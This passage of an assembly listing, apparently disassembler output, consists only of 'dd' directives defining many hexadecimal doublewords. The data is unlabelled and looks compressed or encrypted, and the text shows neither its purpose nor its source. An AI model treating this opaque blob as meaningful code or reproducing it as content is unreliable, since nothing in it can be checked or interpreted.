		dd 4A0A80E3h, 1370F5D4h, 0CDF4EBh, 5AC150A8h, 0D84E6C66h
		dd 143F9200h, 67307203h, 3D055C09h, 0A7F1A305h,	7447C070h
		dd 281E7F86h, 9E40FEB5h, 0CC7D3B02h, 0CF3C1FDDh, 57868068h
		dd 2EF5AF1Eh, 0FA380300h, 483A1964h, 8CBA1D33h,	2073808Fh
		dd 95F03780h, 0BCE94E00h, 0D5474B3Dh, 5BFE00FBh, 5F59CD0Fh
		dd 6B006626h, 0AB8705BBh, 0C014FB7h, 9F041EF0h,	54003970h
		dd 6519345Ch, 5176Fh, 20981DDEh, 504F59E5h, 0FB794D98h
		dd 0EAF7D200h, 0A7D49E99h, 0BA1D0034h, 906759Bh, 651C53B7h
		dd 0A2802BDDh, 0F2DFE246h, 0F98000E7h, 39ADF085h, 3E77DE9Bh
		dd 49C058FEh, 50D033BEh, 3869007Ch, 60677ABBh, 80954CE7h
		dd 77A1B9D8h, 3CDB0016h, 4579D7E1h, 0E2009EA4h,	0D5038B62h
		dd 807F2Bh, 0E4AAD39Ah
		dd 95227733h, 0A81E6C74h, 0DA41C8B5h, 0AFD0D90h, 0FCB12870h
		dd 0E1C40067h, 609CE9E7h, 633E5E5Ch, 58408015h,	0A17E7D59h
		dd 0FAFB0070h, 4EB6F09Dh, 60006336h, 0CEE6B862h, 5F33D34h
		dd 5C74C620h, 1AEAC02Eh, 0DE03F699h, 3834C8FDh,	65848CA7h
		dd 4629203Ch, 3E1138B0h, 2C441F35h, 0BDC33081h,	508067E7h
		dd 0EE789E7Ah, 28066A90h, 0CB7CA875h, 0D4B0048h, 2E33BBB2h
		dd 8CFE15FDh, 9225F500h, 93ED1629h, 9D8500CCh, 98199622h
		dd 9B016C91h, 0E3297E03h, 0E2F12B38h, 0E4463D0h, 0A18B7710h
		dd 0E0F58327h, 7DB93ED3h, 0CE762206h, 2832D4h, 843C3B42h
		dd 31C4627Bh, 9D199F00h, 3D1EA660h, 1758C063h, 365648Eh
		dd 0C84A3000h, 34B6FB27h, 665B00D1h, 504B475Ch,	5960F06Fh
		dd 35923EB8h, 520D0772h, 15576480h, 0B5807374h,	0DEF324F1h
		dd 0C6A71E36h, 0C02A9EB4h, 8A8D8096h, 3D0C0B42h, 7070DD13h
		dd 0B033027Dh, 0D921680Dh, 14F99CE0h, 997EFE1Ch, 44916B03h
		dd 0F4C80053h, 0CB9D1162h, 493F6F9Ch, 8818082h,	19100717h
		dd 0D5C309FDh, 2405E86Eh, 0D0D5C02Dh, 0CE528214h, 53A78120h
		dd 45080BECh, 48471B00h, 0AAF05B6Bh, 0B9BD0BC4h, 7E809BC1h
		dd 3C38F82Ch, 80C5243Bh, 738BEE45h, 0F8B67BA7h,	0DAE3511Bh
		dd 0D1EDC8h, 0AE170A2Fh, 21C212BEh, 0C460B628h,	0F603EAC5h
		dd 76EFDC07h, 0AC4C5BA0h, 0F21C00D1h, 477957D6h, 511C3083h
		dd 0FCE48Ah, 4B16552Ch,	7E20A4h, 7A0654D7h, 8D6A13C8h
		dd 0F6E8DB00h, 8C8490C0h, 33E01DDDh, 31C7C06Bh,	77B3D755h
		dd 28B26500h, 0C6DC6ABCh, 5E7C0Ch, 1823A37Ch, 376346CFh
		dd 559E3300h, 0FF13C304h, 0D3A800A5h, 0CA0E856Bh, 3F90BC94h
		dd 81F2823Ah, 92AD6FEAh, 0DBCCD602h, 5C732825h,	0CCAE01A5h
		dd 0A2582339h, 3EA3F0F6h, 882E4E33h, 0ABD4B82Bh, 0B0C4007Ch
		dd 4DDF2771h, 0FD0039DEh, 0D7F2CB7h, 3C82E66h, 0C9D28287h
		dd 0A83A6821h, 0C1DF181Ah, 4A5D1h, 93C58D09h, 72F2C754h
		dd 89FD1E41h, 98407FF1h, 0DADCF5h, 41288A4Fh, 0F369ADB9h
		dd 847C5E01h, 0BFEB4C8h, 6521D0h, 7731F90Fh, 0C7E9C638h
		dd 0AEC7900h, 887F183Dh, 0BB2600AEh, 76FE5902h,	2B1FC225h
		dd 1640A4F1h, 0A6299057h, 4CE500ECh, 3A0D86D3h,	0AB00CF1Ah
		dd 9731EB21h, 88D180h, 49625E83h, 684EC9EFh, 0DBB0B207h
		dd 60B07DBBh, 0E6DAAD5h, 0F9ADD953h, 0E6308DE0h, 0FF00875Ch
		dd 0F354EC40h, 0D7C185h, 7C92F1EBh, 3D514F83h, 68BA0B00h
		dd 0D59D176Ch, 7EC20E24h, 0D1A17D62h, 0F49B41A5h, 0D1F256Dh
		dd 0BAC047DAh, 0E9358D2Ah, 9D3400FEh, 62EACF2Bh, 0C5005D38h
		dd 6F9245F2h, 0DE5C9h, 0B95A3314h, 6AE795A9h, 87A13201h
		dd 7A8A6610h, 4FD8D4h, 45FB908Ch, 1F3C1521h, 32B1EA03h
		dd 0E0E59B2Fh, 0F35A37Ah, 54400F02h, 30E4F940h,	0BFF46E87h
		dd 793B700h, 3B22B44Ah,	2585000Ah, 320BDF67h, 3A1E5B60h
		dd 8F8020B5h, 72E22EAAh, 5C5F05AEh, 0A5A49AFh, 600433C0h
		dd 6387F796h, 0C5B242Bh, 306CA5D3h, 0B6790044h,	3AF8365Fh
		dd 84077618h, 73FB1023h, 72ECFDC0h, 0D018C43Bh,	37FA2051h
		dd 55AC887Dh, 0EB122884h, 22F42118h, 281B0302h,	4A400536h
		dd 900C4E30h, 20E2C4C8h, 5182422h, 4C548415h, 16501C3Ch
		dd 4E42B80Ch, 48EDF714h, 854F1410h, 6004563Eh, 81215260h
		dd 7C0C4151h, 0CA3F0024h, 98805016h, 2C17E31h, 54D62AFCh
		dd 0A8A011BDh, 0C5A5CDF8h, 5C2F6F0Eh, 0F47FE269h, 0DDB88787h
		dd 86023ED0h, 95350EB1h, 39F8B2A7h, 8B7B7E1Dh, 0DCF03828h
		dd 0ADCF6300h, 0D9F4B097h, 0EA401FDh, 91CA3511h, 0C410D4AFh
		dd 329F420Fh, 0F4B3C196h, 981157Fh, 3310913Dh, 0EC11F113h
		dd 0F00229Bh, 0B23919A6h, 0F406FF7Ch, 6C4CA07Eh, 17BC30BAh
		dd 0C5216F78h, 0AF956807h, 0CBD007E8h, 0F8D63B69h, 0F0E5FED4h
		dd 88B930C5h, 7BFC11E0h, 4F782D00h, 898DFD4Dh, 7C3D484Eh
		dd 4A257F00h, 55F4D024h, 1CCA722Bh, 78490708h, 4306EB4h
		dd 81CA063h, 7C1F611h, 0B462BC9h, 0C015BFB9h, 30AA85E0h
		dd 0C44D5C00h, 14FDDDABh, 2C42180Eh, 494429EFh,	0C462500h
		dd 9D4D56B1h, 1BCE3A97h, 9AFC1081h, 0CCF08991h,	1A14C9E8h
		dd 5C8A83h, 0D04CD740h,	104A716h, 0F76E2015h, 0EC772FCEh
		dd 8F007E18h, 9B3494C6h, 3C84813Eh, 0C301F06Ch,	0EEC0C8ECh
		dd 0B102C7E1h, 0A9CAEBBAh, 0AF30423Ch, 0A0C40010h, 0A19B3BC6h
		dd 2AD07614h, 700B0077h, 3F6CE8E0h, 1B0A992Bh, 58FFB935h
		dd 4D74115Ch, 5208A81Bh, 0B4C04CA6h, 0E3AC0DCBh, 0AB21610Eh
		dd 422A4244h, 0B4AA889Ch, 0A3D39603h, 46FDA918h, 498C3830h
		dd 41093C87h, 9B825E82h, 188083AFh, 8560D9Ah, 24B9D801h
		dd 13230A12h, 12A316FCh, 6195CC63h, 0E326C74h, 0D3612E80h
		dd 65045CA0h, 12858203h, 9FD5C8C1h, 3808D180h, 3488CA51h
		dd 159093E9h, 0A0FEA423h, 105EE9B6h, 3B177EFAh,	0E2348969h
		dd 0C14C0094h, 0A52E6C44h, 0B5F070ACh, 0EEA4B007h, 8DF0CED1h
		dd 1238EF0Bh, 37322227h, 0E906D294h, 0F5ECD44Eh, 0A9449D52h
		dd 84328694h, 232A6301h, 0C4F573CFh, 4995357h, 5F75A340h
		dd 790E7C79h, 9ADC1315h, 9D74002Eh, 782FAD91h, 3CD1E891h
		dd 0D280DC26h, 3192F50Ah, 9DB78C01h, 3C49FB2h, 844A1CEDh
		dd 917BAE07h, 3C8A7068h, 0E01EFD8h, 50F500Bh, 76D837A4h
		dd 0F87EE38h, 459C9F2Eh, 0C5818AA1h, 6CFD3066h,	99429B00h
		dd 0C2B6C906h, 98D6076Ah, 4AF523h, 2F975C54h, 3BAC300Bh
		dd 86F300ECh, 80CCE99h,	53F30B58h, 30E8100h, 0C5EBC6h
		dd 938A64DFh, 250942B1h, 0F37A010Fh, 0A6E2830Dh, 899FC023h
		dd 817000ABh, 3C87291Ah, 5400CFF0h, 0D5C4F215h,	0B1EA798h
		dd 479EEF6Ah, 0D8C0E08Fh, 0EE967EAAh, 0C3BB600h, 6F388961h
		dd 292B0769h, 50D0802Eh, 15200FA1h, 1E47A200h, 14BFF296h
		dd 0ABA81F1Ah, 5CF8878Ch, 0DC37803Eh, 0A0B84E16h, 73B0F43Dh
		dd 0AF48EE00h, 0A79F2FABh, 0A4776Ah, 0C602B697h, 532E053Eh
		dd 5F6FF900h, 54A0CAE8h, 9BAB0319h, 497DE23Bh, 3890B800h
		dd 0F935F15Fh, 0C7240053h, 55AF1E85h, 4000C45Ah, 0CA03AE4Ch
		dd 48F630A7h, 530047BAh, 6F9BEFBFh, 0B2E25868h,	170129E8h
		dd 0CFB54DA9h, 2FFCD404h, 0EC13010Bh, 587723EAh, 9774F0BDh
		dd 67169A18h, 166E638h,	0BA714529h, 8AEB4AFAh, 44541578h
		dd 0C0B9B658h, 79893479h, 210341F7h, 13A092B1h,	0EFBAE0C8h
		dd 0ECCE0030h, 0CDB1E88h, 14E886FEh, 20D93D30h,	28263953h
		dd 280845E6h, 6FE458A8h, 0E761119Bh, 10996314h,	50CC2610h
		dd 7CF810A7h, 14381EE7h, 92DA0DA3h, 97D9E079h, 37F0C00h
		dd 5BD85872h, 3EF2BEh, 7703768h, 4D1605F2h, 8FDA5C26h
		dd 0D004D50Ch, 6BE3028h, 886EB40h, 47ACF700h, 58712EB0h
		dd 0BE522AC5h, 0C8E0B79Ch, 0FD60A2D8h, 7A81AD90h, 0AABE00EBh
		dd 5866A94Ah, 0B00004B5h, 0EEA00882h, 0F2EAB126h, 53AF0628h
		dd 0B0A76244h, 0AC17A8C0h, 18D0B681h, 0A02838E4h, 0A91C4932h
		dd 0E4AAF6C5h, 983E563Bh, 0FEE9CAE3h, 5CC0DC03h, 350C3C6Bh
		dd 0CA90123Ch, 45999363h, 0A2189A04h, 0A0B8D7D8h, 0EE8993DCh
		dd 664F40A8h, 1292A100h, 0C975196Bh, 5C695849h,	0A64A6963h
		dd 0D747C1A7h, 282F68D3h, 66F0D453h, 28500560h,	7BBC93D5h
		dd 0CCF50178h, 0B438D877h
		dd 2003C70Ah, 58C9EC16h, 810FC8B3h, 20AA00A9h, 695F4910h
		dd 890B45ADh, 486682h, 0F12FA44Ah, 646003DFh, 0BB9361EFh
		dd 0EB7583DFh, 80051BF1h, 7CC1C2D1h, 620FB4BFh,	0F21270F1h
		dd 6A0E6000h, 0B9F81F6Eh, 8943C041h, 3B8405D8h,	7FE7B700h
		dd 0FEB049F9h, 7A560729h, 4051F131h, 13CEBBCFh,	0BCF4B71Dh
		dd 0BA3D0DF9h, 3C507AE7h, 697AE91h, 0CC426DDEh,	0A901E109h
		dd 25EE585Dh, 94D826BEh, 0F04900B7h, 3BAB5340h,	0D900E6BBh
		dd 48CB3089h, 32CBF4Fh,	0C971212Ah, 181CB154h, 0DB43FF3Fh
		dd 6256C2h, 0F98610E0h,	40C5E643h, 72920807h, 0DDA09327h
		dd 625B679Ch, 3B1919C6h, 436304BFh, 75CA0E9Bh, 2A204F77h
		dd 83BD7BFBh, 6223531Dh, 308CDC0Ch, 0F44937F0h,	5C1C4038h
		dd 0D43F1FC3h, 0F18D15A5h, 0A2AE134h, 0F7C34C4Ah, 10004A09h
		dd 5498EA72h, 382E8194h, 0C3BADED4h, 54687CF2h,	869E0C06h
		dd 8A4F021h, 0D041C6DAh, 0D212A550h, 528918A2h,	0BC760C82h
		dd 66D15000h, 67311EC1h, 0DB938211h, 3C02EFFAh,	0DC07106Ch
		dd 210E4384h, 7F0F84BBh, 0DDD74429h, 30A57B22h,	980C452Fh
		dd 0E3180585h, 15247835h, 50E70CA9h, 5626A23Ch,	0C501B89h
		dd 88DDE94Bh, 2184E30Fh, 0CB08DFAEh, 0ADC44E38h, 62FF480Dh
		dd 3C8480E4h, 0D09A4073h, 3E6196A6h, 92141022h,	8A080CE6h
		dd 688643Bh, 0B92400DEh, 0BAAC14C7h, 71239703h,	0E379C350h
		dd 884AD8D9h, 7BE0003Dh, 0B5E15822h, 1E0F9EB3h,	207941EBh
		dd 0D1DB9423h, 3A81002Ch, 5066327Bh, 0F600CC6Dh, 37427EBFh
		dd 697A6467h, 170FB9F4h, 0B602B075h, 0F5891718h, 5F9F0E60h
		dd 0DC4EE307h, 0A1DC0C54h, 9B840231h, 6CB95589h, 0CEDA0700h
		dd 0BC88C039h, 457C96DDh, 688A8800h, 0E0B8D56Dh, 0F6C8C012h
		dd 6FF57E3Ah, 427F1CAEh, 17747900h, 4A9C6DEAh, 0AD8E0F67h
		dd 0C1602737h, 1EFF987Ah, 1A75A8E4h, 0A04EA200h, 91615338h
		dd 36FE0052h, 0C235D57Ah, 9C01C9DEh, 3F2D1C55h,	0EEF8F3C7h
		dd 11AA00B0h, 757A6B40h, 820DDAA0h, 58460839h, 2CEBA60h
		dd 8D169B38h, 41FFF452h, 0EDE06809h, 290B613Ah,	0C4622EFEh
		dd 34ABC029h, 0DC72A5B1h, 3A00B760h, 0B34B57ECh, 1C1DD590h
		dd 402568ADh, 0EE525FB4h, 7E00F84Eh, 0D7B0FC8Ch, 323AB2Bh
		dd 0E630FB70h, 0F09934E8h, 1FB88B79h, 0D3CD83C5h, 5E17B820h
		dd 5C00052h, 7D1449F7h,	8905E1DCh, 769A59C6h, 0DE0C9AC0h
		dd 434501B0h, 527D053Bh, 0C0808618h, 31D13CD5h,	5F80F4D0h
		dd 3D1F0EC8h, 5CB04047h, 4B1773BFh, 7FC03B00h, 5EDA0A25h
		dd 830807ECh, 3399E334h, 98001663h, 20E897FEh, 0F0733F3Bh
		dd 0F1906026h, 1E616C6Bh, 5A8288C0h, 3ED0CEDFh,	0E5AADD85h
		dd 0D4FC0090h, 4D771708h, 40E70118h, 716690D8h,	0FC69190Fh
		dd 1C5D864Bh, 56F80018h, 99F91549h, 7344C6FBh, 849D5290h
		dd 1280F480h, 5D30242Bh, 0A47E9091h, 6FFF01B9h,	20E93175h
		dd 80188A92h, 370EBCCBh, 0C750584Bh, 3E872845h,	81CF0EFCh
		dd 0CF3EAD09h, 0BD41D8B2h, 0F0F49068h, 18C049A0h, 0DE6B2DF2h
		dd 7D88A072h, 4A2200F0h, 0F6EA74BAh, 0BB1D1ED7h, 478140C2h
		dd 3A28E7CBh, 5962C4h, 929A6371h, 8A6EF20Eh, 1EDCCF00h
		dd 293CE0ACh, 402260F1h, 8730C889h, 0A97BB900h,	500C85E8h
		dd 359E00A7h, 0DF1B0EE3h, 6D384757h, 53820025h,	0D06EADDh
		dd 0C0CE008Dh, 12B22B76h, 2100DF2Ah, 878A8E52h,	5DF50Bh
		dd 0DDD08B18h, 0A130F651h, 9723081Eh, 9CA54AC0h, 865C0C9h
		dd 6BFCAF3Eh, 7A29D103h, 0CB219335h, 682298FFh,	0C1730FDCh
		dd 0C360C241h, 0B1A84376h, 0AA17A11Dh, 9404306Bh, 0BA284518h
		dd 1CBC1A40h, 80D211C2h, 0B9FE061Bh, 0FB00E109h, 0E59FA494h
		dd 1C6D3DFDh, 411519DFh, 9DC4298Bh, 93F6D0F0h, 6111D112h
		dd 5B6A0EFFh, 0DBFB45h,	0C8BF909Ah, 70C0C28Ah, 971B0243h
		dd 0D1194883h, 5F7A8D0Ah, 292608A8h, 7F4C003h, 745100DEh
		dd 0CA75E0D6h, 230FCFFBh, 630B883Ah, 3EA02FF0h,	5C00CDE1h
		dd 3266C89Fh, 9C00E75Bh, 8496FB50h, 0E187444h, 0E4A11E14h
		dd 95D63660h, 6F30CA7Eh, 0C8C0F9D9h, 4B9900FEh,	28BC603Eh
		dd 3180E0F9h, 0B08A1D4Ah, 7890B647h, 30DCAB55h,	0C2286440h
		dd 4888BCDCh, 0BD004A87h, 7B824221h, 0C873F6h, 17763A57h
		dd 4BE78D29h, 3F71AC00h, 0DBA51B0Fh, 8283002Ah,	0F108C343h
		dd 6E02EA87h, 9627B11Ah, 5F84A7DFh, 80534622h, 109DC8C8h
		dd 28B31D55h, 1DEC68B2h, 315A5696h, 8A8DB930h, 58697439h
		dd 0FCCA9F3Bh, 0B8C1C46Ah, 0B2F36B8Ch, 3D063DECh, 0F860C773h
		dd 72A94247h, 0ECB1C410h, 0BF8A1B06h, 4F0221E1h, 70CDA673h
		dd 0C8480CEh, 14C7AC2Fh, 18DB40A8h, 6C0E711h, 0B4E96B94h
		dd 0F53A0468h, 8395B97Ah, 78101B64h, 8200FAF3h,	6D5DDD83h
		dd 3A18E94Ch, 0C9C89717h, 0CB04002Dh, 797A7EEFh, 8B603F6Ah
		dd 0F8A59741h, 835503Eh, 3F0D38CDh, 5047823h, 0C82011CBh
		dd 0C1006E3Bh, 0C39C7476h, 0E8A1A744h, 0AA2109BCh, 4022A066h
		dd 0B60FC3Bh, 0A5A09836h, 26E6BD2Ah, 3CE39B09h,	6F1E8215h
		dd 43904060h, 234C0AD0h, 4004C958h, 9BC5F475h, 19CBA630h
		dd 21B7BFh, 22FF6A96h, 1531A7CDh, 0AEDA0801h, 59AD868Fh
		dd 0C5414180h, 27F6DE74h, 143B0EF0h, 0F95280BDh, 3105D822h
		dd 82D53D9Ch, 0C854AC00h, 4EAA4B84h, 0C118AF7Ah, 0A4937D6h
		dd 3994FEA3h, 461F3AA6h, 0F4241Ch, 0B3084E6Fh, 2100013Eh
		dd 0BCC64CD9h, 1F41F69h, 7DACDA5Dh, 817B3239h, 4E54A838h
		dd 0C882CA87h, 0F3AC92CBh, 22083F60h, 911C51C0h, 19C06C8h
		dd 0A2E4AEE9h, 813082D1h, 9842CA10h, 0CCD4D622h, 304CE571h
		dd 549CA4A3h, 0E124853h, 9E460D69h, 7C18F140h, 148081B1h
		dd 0E8B82433h, 380A18E1h, 48026BACh, 0A69D4335h, 0B03E078h
		dd 0E4B0007Ah, 0C8861218h, 3D5C90F8h, 43BA182Ch, 1D984070h
		dd 0C05DFC01h, 9A165950h, 0BA1F039Eh, 0B0803A10h, 0CC2B1C7Dh
		dd 0CA30C0FBh, 0B9C1C679h, 11041001h, 0A5FA1937h, 6A92F050h
		dd 0EE3102BDh, 449A9D03h, 1CD5BD80h, 3F3EC755h,	6C1B7BC6h
		dd 0C130DA5Eh, 0E08C4233h, 0EC8C7D4h, 0EB7AAF00h, 5F233617h
		dd 6E2000F2h, 6ADDA91Ch, 9301C928h, 0D5E85E03h,	11E88EA7h
		dd 4D4001A2h, 9F58FACDh, 7A7B6005h, 39463A00h, 0A0016880h
		dd 0B03154D6h, 92FC004Eh, 464FD4B3h, 0AF5860A1h, 0F4CD1C0Dh
		dd 34C34700h, 1A7A03Bh,	0A27B5A80h, 80CC3EFCh, 0AB40FAB0h
		dd 0DEAF4h, 7FF791B0h, 76DE1DA7h, 0D00064F6h, 5DF88734h
		dd 0C0248BE5h, 2F805B70h, 0B700F19Dh, 5E59550Ch, 0F5B17E51h
		dd 2AB2A841h, 49FB9824h, 9B009C49h, 3DB4135Ch, 2906771Ch
		dd 9C50D05Eh, 1FA00728h, 4055046Ch, 853587A4h, 9B2B3B1Ch
		dd 69A9FC58h, 0DF590ECAh, 0B9E0825Ah, 6810B785h, 0D5E77500h
		dd 22CFBBBh, 0F086026Ah, 5C8CC33Ah, 0CD91DC0h, 2AEFA307h
		dd 3EA05871h, 1493881h,	0ECA44142h, 6161FEF1h, 14088090h
		dd 0A93884E7h, 8540009Ah, 2A1B04F8h, 0C00114Dh,	2BC4DD0Eh
		dd 0D3588Ch, 3C30C035h,	8D5F6D1Eh, 46E53Eh, 0E990BF2Eh
		dd 0E86223A8h, 0A342013Dh, 0BBA0712Ch, 5E99D010h, 92B54E00h
		dd 0BAAF29A5h, 79BF0CCFh, 21303FC8h, 58CD0F07h,	0A131726Dh
		dd 188E9254h, 4C068F8h,	73857E32h, 1A669800h, 744E2B51h
		dd 0CAA80215h, 7D062AF0h
		dd 410974A0h, 7921ECEDh, 2B588CFCh, 0E100A220h,	90D26088h
		dd 2137C2Fh, 0CBCF2F0h,	1740B6A1h, 0EE062B79h, 0C830C781h
		dd 0A4705660h, 4341A701h, 0CFD89EBh, 1C61C0BEh,	0D3A041FFh
		dd 0F24A4B03h, 0B8DB99C7h, 3A5DE1h, 350D12E7h, 6019FC8h
		dd 61700960h, 14F692B8h, 0B0B4E34Bh, 0CD25B900h, 0E222DECCh
		dd 0D3623704h, 5AC393AFh, 0C3ED01Bh, 4E60134h, 9BAA12FCh
		dd 5CB8C84Bh, 6961B600h, 6AD33165h, 4CDC7D3Ah, 0D600AB76h
		dd 8871D4CCh, 3500742Eh, 0EDF40C0Ah, 1EBDAC0h, 10ABF24Ch
		dd 0F15E6217h, 497EDCE3h, 1E5C5D00h, 0B478B113h, 76CD1FACh
		dd 7A25037Bh, 61E8F7FDh, 0EE0006DFh, 5B965477h,	553D178h
		dd 8741CB2Ah, 1BDAC11h,	679B555h, 0ACE854BCh, 60D566BDh
		dd 0C90305Ch, 16EF8C18h, 325F68h, 0B93C7AF8h, 0F173DADh
		dd 86D118C0h, 29E8B6h, 3C04AE0Ah, 0E73027A9h, 0E1D1906h
		dd 3E2812CBh, 1B00E5DFh, 0C4885EDEh, 4E004D22h,	6A5D6FAh
		dd 3D7B55h, 383C7016h, 7CBB855Ch, 0FC7D8B40h, 889883EFh
		dd 0BA0009C2h, 769EFA96h, 259A3h, 35B547F5h, 0DAA6953Ah
		dd 7C638300h, 9070D2DFh, 0C5F10019h, 937A8778h,	942CCD18h
		dd 0BA0025ACh, 7E55F2A1h, 0A7AA0074h, 0B5C48353h, 400759Fh
		dd 64B81050h, 968817h, 3C2FEC5h, 0CAF3E5D3h, 0FAA75700h
		dd 7BB8CB61h, 562E3DB3h, 0E3676A00h, 0ED756627h, 0E6C69F0Eh
		dd 8026C9A2h, 45AFAE12h, 0B2473BD2h, 39FD116h, 652478AAh
		dd 59DD3101h, 0F6456CFDh, 3ECF6EF0h, 9900A6E1h,	0C563438Bh
		dd 8E007E39h, 70C179B3h, 0FD4D8BCh, 0C25EBE56h,	0B0EC2A00h
		dd 0BD0C16F7h, 483C196Ch, 1843F82Eh, 8DB1FA7h, 24A6BC9Fh
		dd 0AD59AC05h, 1C20F81Bh, 144173CEh, 18C45FA7h,	0E14868D8h
		dd 30EE028Eh, 0C5BFA746h, 0A80530B8h, 6B8E008Eh, 683FA742h
		dd 218E9DAAh, 0E310FAA8h, 0EB99AE05h, 601876A6h, 31A1ED21h
		dd 4BE84E31h, 78606048h, 86CC9A85h, 90CE6E28h, 0C4AFDF15h
		dd 0D0458430h, 20310E70h, 226C09Fh, 49BF19A6h, 0C2D44044h
		dd 71BCDC85h, 4CF9C03Ch, 0E0602E6Ch, 0E8ACBF38h, 8440A5A6h
		dd 60F1B125h, 0AD44DFCEh, 0F89808A0h, 4CBBEEE1h, 0FFB1A0B0h
		dd 0A8A1040Ah, 9FF4417Eh, 0D6199C60h, 5DC44429h, 0FC248E28h
		dd 0EA091422h, 29183444h, 10B8FB30h, 57AE0C1Eh,	489C68E2h
		dd 71E6709Fh, 0C2F8AD22h, 0EE934E39h, 58DB884h,	0C41EDA1Fh
		dd 0C0EDB10Ch, 0C2E4A316h, 0A07C49D6h, 853010EBh, 0A9661429h
		dd 8458A198h, 626E504Ch, 8D9F686Fh, 0EC6C8C88h,	0EF470DA0h
		dd 384D0E01h, 892C1FD2h, 2153F98h, 0A6337F44h, 0F89087D8h
		dd 8898AD7Dh, 2EE385A0h, 5FE01976h, 0BC1F9865h,	417D10E9h
		dd 0DF31C620h, 519FB049h, 723108BCh, 23D87F20h,	7DC8D84Ch
		dd 0CE318EADh, 0F95FC04Eh, 0A43D8452h, 189708A8h, 0A8395105h
		dd 27804C22h, 3F8AD6A9h, 2E7F7104h, 44CE53E3h, 0D10C6D58h
		dd 0CE283522h, 0F8E2A724h, 7F3A4C70h, 0EE51C360h, 0A01DCE72h
		dd 0A93CCDC6h, 0EC812CC1h, 34647B84h, 0CD7CC207h, 94E25B02h
		dd 0B5B73918h, 0F3AEA409h, 0FB2A5402h, 1A030047h, 8880F53h
		dd 0F8724E29h, 753A3E70h, 802D676Fh, 8EFE046Eh,	0CC5B06B0h
		dd 3051BCB6h, 0BF28190Eh, 54A5FB37h, 84D7F701h,	2E002834h
		dd 0A7575ADAh, 0CB530614h, 24591C09h, 949811CEh, 30B018DFh
		dd 2A61E7AFh, 583BEE59h, 0C3310420h, 0E1B79F30h, 4C08E868h
		dd 0AED6250h, 7221AD9Dh, 383518B8h, 63639B1Fh, 74288840h
		dd 802D4810h, 442EBBE0h, 984D1028h, 1B54AE13h, 1EBE5C05h
		dd 518FB04h, 60FEF481h,	3E161C48h, 0D7A0234Ch, 1FB24E01h
		dd 5178FFA7h, 4E803823h, 56747B34h, 0B06EA8C2h,	1684725h
		dd 0E612AED3h, 0E289558h, 60D68378h, 2E4F848Ch,	0D0020DC9h
		dd 28C720E4h, 0D8EE9803h, 0CE31101Fh, 0C1A442C8h, 0D0800A3Ah
		dd 2042EE10h, 681250A5h, 989CFA0Ah, 205014BEh, 0C79FE0ECh
		dd 80D0710Ch, 0A8A2ABAEh, 0B18130CDh, 0A973729Ah, 7E37024h
		dd 643FD23Bh, 8FFF4139h, 0A7DFE03Ah, 0EC18946Fh, 0B865103Ch
		dd 0C4789074h, 0C77A9F28h, 38F2C35Ch, 36662871h, 0E850BA20h
		dd 0E80B506Fh, 902161D5h, 0CDED685Fh, 0C58C4749h, 0F2A8455Ah
		dd 19E80B66h, 47F9402h,	4A507C68h, 82938CDh, 4B9092h, 0D17D7E70h
		dd 28DE545Fh, 20483D0Ch, 3F08C05Bh, 1FD18FAFh, 28900131h
		dd 209661C3h, 0C941ECDh, 3A68F658h, 0BFED6B06h,	31086C57h
		dd 8170646Dh, 763FF071h, 24506363h, 25A81BF5h, 57F32867h
		dd 6571501Ah, 378A43A8h, 45C84B58h, 460DAE48h, 0C8D12044h
		dd 4DDF0886h, 0F9513052h, 810BE194h, 0D19DB909h, 1087FFBFh
		dd 83AB041Fh, 2118F63Fh, 3E10B2BBh, 667FF88Eh, 38A0D92Ah
		dd 0E0C509F8h, 0B40FA5BFh, 0A862EADFh, 181F870Dh, 2CD049EEh
		dd 0A91920BEh, 8429185Ch, 75775FF0h, 1E3CB708h,	0B02E84C1h
		dd 24170D58h, 891C6CD6h, 1002AB6Eh, 0B882B2FFh,	8482CDBFh
		dd 4C1E07Fh, 0D4A6C23Fh, 9F282047h, 8483F80Fh, 72FF680Fh
		dd 0DD191F0Eh, 0B8A66F11h, 10201868h, 68801E4Eh, 0C318B10Bh
		dd 3DF194E3h, 0A4AC34B7h, 0BF1B5C90h, 0B8083BAFh, 3D55B4CDh
		dd 75FABAh, 646B5184h, 3EDF2280h, 0C2C64228h, 0A63C9907h
		dd 30BCD004h, 0AFA908F0h, 97E0CC94h, 19F9BCAh, 0A4A6FCF0h
		dd 0CCB4E435h, 790E2C4Ch, 836C08F5h, 206B9B95h,	0D50F6E10h
		dd 8FBB0F02h, 1578C105h, 0E1D39693h, 75E0880Ah,	308A7CFDh
		dd 0B5209435h, 0AF0CF776h, 8D82634h, 797406A2h,	60733D75h
		dd 1071FD31h, 0A88CB337h, 0BAE02519h, 7A3408C4h, 9538604Ch
		dd 148071FEh, 7D08C072h, 0F6F5783Dh, 3520807Ch,	0A415183Ah
		dd 9A6A107Fh, 0C68328C0h, 60F014AFh, 7C9D0853h,	0A63315B4h
		dd 19C22044h, 50A40BD1h, 75088A0Ch, 0DB8E8CA2h,	0E11B9FE0h
		dd 8718E010h, 7F552078h, 9BCFD518h, 0E8DCC7C8h,	9E0B28B5h
		dd 81AD7C9Ch, 75988D5Dh, 56F010A9h, 95780A32h, 18A847B9h
		dd 14351059h, 3A82F50h,	55314A7Ch, 8BFA1939h, 8B0A098h
		dd 20C00475h, 0CBF66B95h, 0C5603A79h, 0F1FB390Fh, 0F016190Dh
		dd 1E3A4859h, 0B58A0FC8h, 181D8C0Ah, 0CAF03AF9h, 86DB998h
		dd 9980B7D9h, 0C8D80828h, 19071879h, 0D981D347h, 39F0D47Eh
		dd 0B948C3DBh, 0F9A0A968h, 80F162ADh, 28F33D30h, 0C02E7D09h
		dd 9FA0696Eh, 0F10CDF0Ch, 306B3908h, 0C8360001h, 0FEA3B599h
		dd 2107A9F8h, 32615907h, 0FD44D941h, 2813B894h,	0F98314CBh
		dd 507C01E3h, 0C8D6E203h, 181B02B9h, 0D8CE60B0h, 0BA54AE0Dh
		dd 4770721Ch, 0E086F301h, 0D5D248F1h, 0A21D890h, 9CC23959h
		dd 7794AE14h, 0AB7251Eh, 0F95886DBh, 0F9F01170h, 98FC6508h
		dd 0CB01F7Eh, 0BEC82C8Bh, 0E19C8F51h, 75A44295h, 0E82F4098h
		dd 8DCDCE10h, 141D6810h, 18B852B9h, 0EA096E39h,	0D8FE0C49h
		dd 5D01DFCh, 99073E0Ch,	15D9100Ch, 700AB458h, 0CC866CC1h
		dd 1B8810ECh, 8CD78110h, 4030DEE9h, 788CF343h, 0E0600CB5h
		dd 31F370D0h, 6793E015h, 0CCFEC43h, 6886D908h, 3F63B810h
